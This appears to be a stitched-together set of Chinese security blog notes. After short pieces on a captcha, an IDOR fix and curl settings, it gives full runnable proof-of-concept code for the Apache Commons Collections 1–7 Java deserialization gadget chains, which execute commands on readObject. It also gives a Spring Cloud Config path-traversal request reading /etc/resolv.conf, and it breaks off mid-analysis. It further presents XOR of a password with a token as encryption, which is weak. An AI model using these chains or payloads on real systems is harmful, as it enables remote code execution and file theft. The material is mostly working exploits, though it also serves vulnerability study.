取到登录表单中的token , 若token长度小于密码,那token就再拼一次,知道token的长度大于密码的长度才能做异或运算。
然后把token和密码转成unicode的数字形式做异或运算,由于结果的字符很可能时不可读的,转成16进制传输。
服务端用同样的算法,先从session中取出正确的token,用相同的思路再次异或运算得出 密码。
至此,登录密码加密传输完成:
需求
在登录页面加验证码功能
实现
思路:
1.
根据simplewind判断是thinkcmf框架
根据目录结构,判断是CMFX框架,上网查了一下,很老的框架,上次更新都在2016年了。
然后基于thinkPHP 3.X的框架。
查阅官方文档https://www.thinkcmf.com/docs/cmfx/special/verifycode.html
grep命令找到登录页面:
themes\shop\Portal\login.html
在form表单添加一个验证码功能
修改public\assets\css\login.css 调节样式。
接下来添加验证码逻辑。
2.
找到点击登录的js
public\assets\js\login.js
取出form表单里的验证码,增加为控判断,不为空登录post请求就带着验证码发送
然后找到对应的Controller,通过请求地址得知,登录验证的逻辑应该在index相关的Controller的jmp_login()的方法中:
结合官方文档:
找到相关位置,先取出验证码,再通过框架接口判断验证码,错误返回错误信息:
自己定义一个错误代码,用于后面弹出对应错误代码的错误信息。
修改登录的JS,如果失败,弹出错误信息:
JS中弹出返回的信息:
自己定义一个错误代码,用于后面弹出对应错误代码的错误信息。
修改登录的JS,如果失败,弹出错误信息:
直接通过jquery在登录失败后刷新验证码图片即可:
最后整个验证码功能基本完成:
1.ID遍历
某网站id可遍历,可越权查看别人的实验报告:
2.定位问题:
网站使用thinkCMF框架
通过index.php 定位到网站位于application目录下:
根据URL参数 的特征g=&m=index&a=jump_result&test_id=1533
定位到 test_id 应该位于 index 相关类的jump_result 方法
在Visual Code 用Ctrl Shift F检索application的jump_result 方法,快速定位到问题:
在查询test_id时没有校验身份:
Where条件仅使用test_id作为查询条件。
3.修复
增加身份校验:
$test = M('test')->where(array(['test_id'=>$test_id,'user_id'=>$data['user_id']]))->find();
同时查询test_id和当前用户的user_id即可。
再次尝试越权访问,已无法查看别人的成绩:
curl 命令默认用的User-Agent是curl/7.64.0
不太好,现在想让他全局curl命令都是别的agent头:
创建 ~/.curlrc 文件,在文件中加入:
user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0"
然后再curl,就不是默认的了。
本文主要是对Apache CommonsCollections系列的利用方法进行了总结。由于网上已经有太多的分析文章,故未对技术原理做较深入的分析,仅仅是以总结方法为目的。
Apache CommonCollections1-7的利用方法总结如下:
关于第一步,主要有两种方法:
关于第二步,主要有两种方法:
关于第三步,就是用反射把病毒填充到vulnerable的类中,readObject的时候触发病毒。
下面简单了解一下第一步的原理。
通过ChainedTransformer 构造病毒的demo:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class ChainedTransformerTest {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
/*
* ConstantTransformer: Transformer implementation that returns the same
* constant each time.(把一个对象转化为常量,并返回)
*/
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "gnome-calculator" }) };
// Runtime.getRuntime().exec("calc");
/*
* ChainedTransformer: Transformer implementation that chains the specified
* transformers together. (把transformer连接成一条链,对一个对象依次通过链条内的每一个transformer进行转换)
*/
Transformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);
}
}
最终 transform() 方法 会在Gnome桌面环境下的kali中弹出计算器。
关于为什么要用ChainedTransformer,引用《浅析 Java 序列化和反序列化》(当中的说法是“通过反射技术获取对象调用函数都会存在一个上下文环境,使用链式结构的语句可以保证执行过程中这个上下文是一致的。”
通过javassist动态编程生成一个执行命令的类的demo:
import java.io.IOException;
import com.hans.CommonCollection2.CommonsCollections2.Placeholder;
import javassist.CannotCompileException;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.NotFoundException;
public class Javassist {
public static class Hello {
public void say() {
System.out.println("Hello");
}
}
public static void main(String[] args) throws CannotCompileException, NotFoundException, InstantiationException, IllegalAccessException, ClassNotFoundException, IOException {
// TODO Auto-generated method stub
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
ClassPool cp = ClassPool.getDefault();
cp.insertClassPath(new ClassClassPath(Placeholder.class));
cp.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));
CtClass cc = cp.get(Hello.class.getName());
cc.setSuperclass(cp.get(Class.forName(AbstractTranslet).getName()));
// 2.在自定义恶意类中添加静态模块,一句Rumtime.exec,命令从外部引入
// 满足条件6:需要执行的恶意代码写在类的静态方法或构造方法中。
cc.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"gnome-calculator\");"); // 这里 insertBefore 还是 After 都一样
// 3.设置一个唯一性的class名称
cc.setName("com.hans.CommonCollections." + System.currentTimeMillis());
Class c = cc.toClass();
Hello h = (Hello)c.newInstance();
//h.say();
}
}
通过一个demo理解第二步的受体是干嘛的
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class ChainedTransformerTest {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
/*
* ConstantTransformer:
* Transformer implementation that returns the same constant each time.(把一个对象转化为常量,并返回)
* */
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"gnome-calculator"})
};
//Runtime.getRuntime().exec("calc");
/*
* ChainedTransformer:
* Transformer implementation that chains the specified transformers together.
* (把transformer连接成一条链,对一个对象依次通过链条内的每一个transformer进行转换)
* */
Transformer chainedTransformer = new ChainedTransformer(transformers);
// code execute;
//chainedTransformer.transform(null);
Map inMap = new HashMap();
inMap.put("key", "value");
Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);//生成
/*
* Map中的任意项的Key或者Value被修改,相应的Transformer(keyTransformer或者valueTransformer)的transform方法就会被调用。
* */
for (Iterator iterator = outMap.entrySet().iterator(); iterator.hasNext();){
Map.Entry entry = (Map.Entry) iterator.next();
entry.setValue("123");
}
}
}
在entry.setValue(“123”);处下断点,可以看到,当恶意的chainedTransformer通过decorate()方法填入Map对象后,在进行Map的setValue操作时,会触发transform()方法,触发代码执行。
但是受体的setValue()方法也是需要触发的,因此需要一个可以通过readObject()触发病毒的宿主。
由于CommonsCollections 1-7思路都差不多,都可以套公式(三步走),所以只分析CommonsCollections1,其他的 用上面提到的方法过一下。
下面看具体代码。
CommonsCollections1.java
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class CommonsCollections1 {
public static void main(String[] args) throws Exception {
/*第一步 准备病毒*/
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"gnome-calculator"}}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
/*第二步 寻找受体*/
Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructor(Map.class, Transformer.class);
constructor.setAccessible(true);
HashMap hashMap = new HashMap<String, String>();
Object lazyMap = constructor.newInstance(hashMap, chainedTransformer);
/*第三步 填充病毒*/
constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
// 因为构造方法不是 public, 只能通过反射构造出来
constructor.setAccessible(true);
InvocationHandler invo = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
Object proxy = Proxy.newProxyInstance(invo.getClass().getClassLoader(), new Class[]{Map.class}, invo);
constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Deprecated.class, proxy);
//将恶意对象存储为字节码
FileOutputStream fos = new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections1.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
oos.flush();
oos.close();
//读取恶意对象字节码并进行反序列化操作
FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections1.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Object evilObject = ois.readObject();
ois.close();
}
}
在 ois.readObject(); 处下断点。Object obj = readObject0(false); 跟进
TC_OBJECT条件跟进:
readSerialData(obj, desc);跟进
在这个方法里就是遍历处理Object对象
slotDesc.invokeReadObject(obj, this); 跟进,其他可以一路F6
直到进入我们的主角,宿主AnnotationInvocationHandler
果然在readObject中有对Map对象的操作。
当进入AnnotationInvocationHandler的invoke方法,跟进Object var6 = this.memberValues.get(var4);
嗯,然后就是触发病毒的transform()了。
图中 iTransformers 就是用反射填充进AnnotationInvocationHandler的恶意链。
这里的LazyMap其实就像是病毒的受体一样,就像是最近新冠病毒最先感染人的肺部一样。
而AnnotationInvocationHandler就像是人体一样,里面装的感染的LazyMap,执行序列化工作的时候就会触发肺部激活病毒。
三步总结:
下面用这个方法把 2-7的POC概括一下:
CommonsCollections2.java
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsCollections2 {
public static class Placeholder {
}
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
/*第一步 准备病毒*/
// 1.使用一个自定义的满足条件的恶意模板类StubTransletPayload
// 满足条件5:恶意类继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。
//Javassist包中建立一个容器
ClassPool classPool = ClassPool.getDefault();
//添加自定义的恶意模板类StubTransletPayload的路径至容器的Classpath
classPool.insertClassPath(new ClassClassPath(Placeholder.class));
classPool.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));
//从Classpath中寻找自定义的恶意模板类StubTransletPayload,引入它,之后对它进行修改
CtClass placeholder = classPool.get(Placeholder.class.getName());
placeholder.setSuperclass(classPool.get(Class.forName(AbstractTranslet).getName()));
// 2.在自定义恶意类中添加静态模块,一句Rumtime.exec,命令从外部引入
// 满足条件6:需要执行的恶意代码写在类的静态方法或构造方法中。
placeholder.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"gnome-calculator\");"); // 这里 insertBefore 还是 After 都一样
// 3.设置一个唯一性的class名称
placeholder.setName("com.hans.CommonCollection2." + System.currentTimeMillis());
// 4. 把我们的自定义的恶意类转化成byte数组模式
byte[] bytecode = placeholder.toBytecode();
/*第二步 寻找受体*/
// 动态获取 TemplatesImpl 对象
Object templates = Class.forName(TemplatesImpl).getConstructor(new Class[]{}).newInstance();
// 反射的方式修改对象
Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
fieldByteCodes.setAccessible(true);
fieldByteCodes.set(templates, new byte[][]{bytecode});
Field fieldName = templates.getClass().getDeclaredField("_name");
fieldName.setAccessible(true);
fieldName.set(templates, "hans");
/*第三步 病毒填充到宿主。*/
// InvokerTransformer(final String methodName, final Class<?>[] paramTypes, final Object[] args)
// comparator 是后续方法调用的参数。
InvokerTransformer<?, ?> invokerTransformer = new InvokerTransformer<Object, Object>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator<?, ?> comparator = new TransformingComparator<Object, Object>((Transformer<? super Object, ? extends Object>) invokerTransformer);
PriorityQueue<Integer> queue = new PriorityQueue<Integer>(2);
queue.add(1);
queue.add(1);
Field field = PriorityQueue.class.getDeclaredField("queue");
field.setAccessible(true);
Object[] innerArr = (Object[]) field.get(queue);
innerArr[0] = templates;
innerArr[1] = templates;
field = PriorityQueue.class.getDeclaredField("comparator");
field.setAccessible(true);
// 宿主被填充进 PriorityQueue
field.set(queue, comparator);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections2.ser"));
oos.writeObject(queue);
oos.close();
FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections2.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Object newObj = ois.readObject();
ois.close();
}
}
javassist 动态生成病毒,TemplatesImpl作为受体,PriorityQueue作为宿主。
CommonsCollections3.java
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections3 {
public static class Placeholder implements Serializable {
}
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String TrAXFilter = "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter";
/*第一步 准备病毒*/
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(CommonsCollections3.Placeholder.class));
classPool.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));
CtClass placeholder = classPool.get(CommonsCollections3.Placeholder.class.getName());
placeholder.setSuperclass(classPool.get(Class.forName(AbstractTranslet).getName()));
placeholder.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"gnome-calculator\");");
placeholder.setName("demo.rmb122." + System.currentTimeMillis());
byte[] bytecode = placeholder.toBytecode();
/*第二步 寻找受体*/
Object templates = Class.forName(TemplatesImpl).getConstructor(new Class[]{}).newInstance();
Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
fieldByteCodes.setAccessible(true);
fieldByteCodes.set(templates, new byte[][]{bytecode});
Field fieldName = templates.getClass().getDeclaredField("_name");
fieldName.setAccessible(true);
fieldName.set(templates, "hans");
/*第三步 病毒填充到宿主。*/
/* 这一步把三步又走了一遍 */
/*3.1 准备载体*/
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName(TrAXFilter)),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
/*3.2 寻找受体*/
// 反射的方法获取一个lazyMap
Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructor(Map.class, Transformer.class);
constructor.setAccessible(true);
HashMap hashMap = new HashMap<String, String>();
Object lazyMap = constructor.newInstance(hashMap, chainedTransformer);
/*第三步 病毒填充到宿主。*/
constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invo = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
Object proxy = Proxy.newProxyInstance(invo.getClass().getClassLoader(), new Class[]{Map.class}, invo);
constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Deprecated.class, proxy);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections3.ser"));
oos.writeObject(obj);
oos.close();
FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections3.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Object newObj = ois.readObject();
ois.close();
}
}
这一步的话,可以理解为先往细胞(chainedTransformer)内的组织(InstantiateTransformer)填充了病毒,再把受感染的细胞填充到肺部(LazyMap),最后反射到宿主(AnnotationInvocationHandler)。
更像是1和2的综合利用。
CommonsCollections4.java
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsCollections4 {
public static class Placeholder {
}
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String TrAXFilter = "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter";
/*第一步 准备病毒*/
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(Placeholder.class));
classPool.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));
CtClass placeholder = classPool.get(Placeholder.class.getName());
placeholder.setSuperclass(classPool.get(Class.forName(AbstractTranslet).getName()));
placeholder.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"gnome-calculator\");");
placeholder.setName("demo.rmb122." + System.currentTimeMillis());
byte[] bytecode = placeholder.toBytecode();
/*第二步 寻找受体*/
Object templates = Class.forName(TemplatesImpl).getConstructor(new Class[]{}).newInstance();
// 修改templates的_bytecodes变量
Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
fieldByteCodes.setAccessible(true);
fieldByteCodes.set(templates, new byte[][]{bytecode});
// 修改templates的_name变量
Field fieldName = templates.getClass().getDeclaredField("_name");
fieldName.setAccessible(true);
fieldName.set(templates, "rmb122");
/*第三步 病毒填充到宿主。*/
/* 这一步把三步又走了一遍 */
/*3.1 准备*/
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName(TrAXFilter)),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
/*3.2 */
TransformingComparator comparator = new TransformingComparator(chainedTransformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
/*3.3 */
Field field = PriorityQueue.class.getDeclaredField("queue");
field.setAccessible(true);
Object[] innerArr = (Object[]) field.get(queue);
innerArr[0] = templates;
innerArr[1] = templates;
field = PriorityQueue.class.getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, comparator);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections4.ser"));
oos.writeObject(queue);
oos.close();
FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections4.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Object newObj = ois.readObject();
ois.close();
}
}
和CommonsCollections3的思路一模一样,就是技术细节略有不同,宿主由AnnotationInvocationHandler换成了PriorityQueue。
CommonsCollections5.java
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import javax.management.BadAttributeValueExpException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
public class CommonsCollections5 {
//JDK8
public static void main(String[] args) throws Exception {
/*第一步 准备病毒*/
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"gnome-calculator"}}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
/*第二步 寻找受体*/
HashMap<String, String> hashMap = new HashMap<String, String>();
Map<?, ?> lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "placeholder");
/*第三步 病毒填充到宿主。*/
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("placeholder");
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
// invoke method should have parameter and return value, tiedMapEntry is parameter ,badAttributeValueExpException is return value.
field.set(badAttributeValueExpException, tiedMapEntry);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections5.ser"));
oos.writeObject(badAttributeValueExpException);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections5.ser"));
ois.readObject();
ois.close();
}
}
可以看到,公式带进去,变的只有宿主(BadAttributeValueExpException)。
CommonsCollections6.java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import com.nqzero.permit.Permit;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CommonsCollections6 {
public static void main(String[] args) throws Exception {
/*第一步 准备病毒*/
String command = "gnome-calculator";
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);
/*第二步 寻找受体*/
final Map innerMap = new HashMap();
//创建一个factory为恶意ChainedTransformer对象的lazyMap类实例
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
//创建一个map为恶意lazyMap类实例,key为foo的TiedMapEntry类实例
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
/*第三步 受体填充到宿主。*/
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
//取出HashSet对象的成员变量map
Permit.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
//取出HashMap对象的成员变量table
Permit.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
//取出table里面的第一个Entry
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
//取出Entry对象重的key,并将它赋值为恶意的TiedMapEntry对象
Permit.setAccessible(keyField);
keyField.set(node, entry);
FileOutputStream fos = new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections6.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(map);
oos.flush();
oos.close();
FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections6.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Object newObj = ois.readObject();
ois.close();
}
}
万变不离其中,中学数学老师常说的话。即使POC不太一样,最后思路还是一模一样,LazyMap被包裹在了TiedMapEntry里,最后被反射到宿主(HashSet)身上。
CommonsCollections7.java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
public class CommonsCollections7 {
public static void main(String[] args) throws Exception {
/*第一步 准备病毒*/
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"gnome-calculator"}}),
};
/*第二步 寻找受体*/
Transformer[] fake = new Transformer[]{
new ConstantTransformer("placeholder"),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fake);
HashMap innerMap1 = new HashMap<String, String>();
innerMap1.put("yy", "1"); // "yy".hashCode() == "zZ".hashCode() == 3872
HashMap innerMap2 = new HashMap<String, String>();
innerMap2.put("zZ", "1");
LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(innerMap1, chainedTransformer);
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(innerMap2, chainedTransformer);
/*第三步 病毒填充到宿主。*/
HashMap hashMap = new HashMap();
hashMap.put(lazyMap1, "placeholder");
hashMap.put(lazyMap2, "placeholder");
// 在 put 的时候产生碰撞, 根据上面的分析调用 LazyMap.get, LazyMap 会将结果存入 innerMap 中缓存, 所以这里需要将其清除, 否则 hashcode 就不一样了
// 清除 hash code
innerMap1.remove("zZ");
// 同上, 将真正的 transformers 设置, 不然在生成 exp 时就会执行命令, 自己打自己了
Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
FileOutputStream fos = new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections7.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(hashMap);
oos.flush();
oos.close();
FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections7.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Object newObj = ois.readObject();
ois.close();
}
}
和之前6个又不太一样,病毒是在最后反射阶段,宿主都已经构建完成了,再反射进宿主的器官当中。三步走的思路还是适用的。
勤洗手可以预防病毒。
参考:
原理
https://paper.seebug.org/792/
https://badcode.cc/2018/03/15/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BCommons-Collections/
https://mp.weixin.qq.com/s/XSv3GNkj-23JKl6ccUjxRQ
POC
https://xz.aliyun.com/t/7157
https://www.freebuf.com/articles/web/214096.html
根据https://www.baeldung.com/spring-cloud-configuration 搭环境。其中pom.xml的依赖改为:
<dependencies>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-config-server</artifactId>
<version>2.2.0.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>2.2.1.RELEASE</version>
</dependency>
</dependencies>
启动项目。根据文章的介绍,查询语句的格式为:
/{application}/{profile}[/{label}]
/{application}-{profile}.yml
/{label}/{application}-{profile}.yml
/{application}-{profile}.properties
/{label}/{application}-{profile}.properties
label是git分支
application 是应用名字
profile 是当前正在使用应用的profile
正常的请求,可以读取git仓库下的任何文件
而问题就出在{label}
先上POC:
GET /config-client/development/master(_)..(_)..(_)..(_)..(_)..(_)..(_)/etc/resolv.conf HTTP/1.1
Host: kali-xps:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: hibext_instdsigdipv2=1
Upgrade-Insecure-Requests: 1
通过补丁https://github.com/spring-cloud/spring-cloud-config/commit/651f458919c40ef9a5e93e7d76bf98575910fad0 定位到需在
spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/ResourceController.java
下断点
debug
发送payload:
跟进 resolveLabel()方法:
